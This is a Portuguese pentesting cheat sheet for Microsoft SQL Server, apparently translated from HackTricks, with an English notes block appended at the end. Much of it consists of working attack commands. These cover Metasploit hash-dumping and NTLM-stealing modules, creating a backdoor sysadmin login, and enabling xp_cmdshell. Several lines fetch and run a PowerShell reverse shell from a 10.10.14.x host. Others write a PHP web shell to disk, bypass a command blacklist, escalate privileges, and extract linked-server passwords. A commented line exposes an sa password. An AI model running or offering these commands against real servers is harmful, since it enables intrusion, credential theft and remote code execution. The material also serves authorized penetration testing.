Microsoft SQL Server é um sistema de gerenciamento de banco de dados relacional desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outros aplicativos de software—que podem ser executados no mesmo computador ou em outro computador em uma rede (incluindo a Internet).\
Porta padrão: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Tabelas de Sistema MS-SQL Padrão
Banco de Dados master: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
Banco de Dados msdb: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
Banco de Dados model: Serve como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados.
Banco de Dados Resource: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
Banco de Dados tempdb: Serve como uma área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários.
Se você nãotiver credenciais, pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode bloquear contas se falhar no login várias vezes usando um nome de usuário existente.
Metasploit (precisa de credenciais)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Enumeração Comum
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
Obter Permissões
Securable: Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
Servidor – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor.
Banco de Dados – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
Esquema – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc.
Permissão: Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
Nível de Servidor usando logins
Nível de Banco de Dados usando usuários
Principal: Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Truques
Executar Comandos do SO
Observe que, para poder executar comandos, não é apenas necessário ter xp_cmdshellhabilitado, mas também ter a permissão EXECUTE na procedure armazenada xp_cmdshell. Você pode descobrir quem (exceto sysadmins) pode usar xp_cmdshell com:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linerEXECsp_configure'Show Advanced Options',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
Roubo de hash NetNTLM / Ataque de Relay
Você deve iniciar um servidor SMB para capturar o hash usado na autenticação (impacket-smbserver ou responder, por exemplo).
Para escrever arquivos usando MSSQL, precisamos habilitarOle Automation Procedures, o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Ler arquivo com OPENROWSET
Por padrão, MSSQL permite a leitura de arquivos em qualquer arquivo no sistema operacional ao qual a conta tenha acesso de leitura. Podemos usar a seguinte consulta SQL:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
No entanto, a opção BULK requer a permissão ADMINISTER BULK OPERATIONS ou ADMINISTER DATABASE BULK OPERATIONS.
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
RCE/Leitura de arquivos executando scripts (Python e R)
MSSQL pode permitir que você execute scripts em Python e/ou R. Este código será executado por um usuário diferente do que está usando xp_cmdshell para executar comandos.
Exemplo tentando executar um 'R'"Hellow World!"não funcionando:
Exemplo usando python configurado para realizar várias ações:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Ler Registro
Microsoft SQL Server fornece múltiplas procedimentos armazenados estendidos que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o Registro do Windows:
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
RCE com Função Definida pelo Usuário MSSQL - SQLHttp
É possível carregar um .NET dll dentro do MSSQL com funções personalizadas. Isso, no entanto, requer acesso dbo então você precisa de uma conexão com o banco de dados como sa ou um papel de Administrador.
Se um usuário regular receber o papel db_owner sobre o banco de dados pertencente a um usuário admin (como sa) e esse banco de dados estiver configurado como trustworthy, esse usuário pode abusar desses privilégios para privesc porque procedimentos armazenados criados lá podem executar como o proprietário (admin).
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server tem uma permissão especial, chamada IMPERSONATE, que permite que o usuário em execução assuma as permissões de outro usuário ou login até que o contexto seja redefinido ou a sessão termine.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados.
Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Você pode realizar este ataque com um módulo metasploit:
Extraindo senhas de Servidores Vinculados do SQL Server
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para adquirir uma maior presença no alvo. O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado aqui
Alguns requisitos e configurações devem ser feitos para que essa exploração funcione. Primeiro de tudo, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server.
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
Habilitar TCP/IP nas instâncias do SQL Server;
Adicionar um parâmetro de Inicialização, neste caso, um sinalizador de rastreamento será adicionado, que é -T7806.
Habilitar conexão remota de administrador.
Para automatizar essas configurações, este repositório tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
O usuário que executa o servidor MSSQL terá o token de privilégio SeImpersonatePrivilege.
Você provavelmente conseguirá escalar para Administrador seguindo uma dessas 2 páginas:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'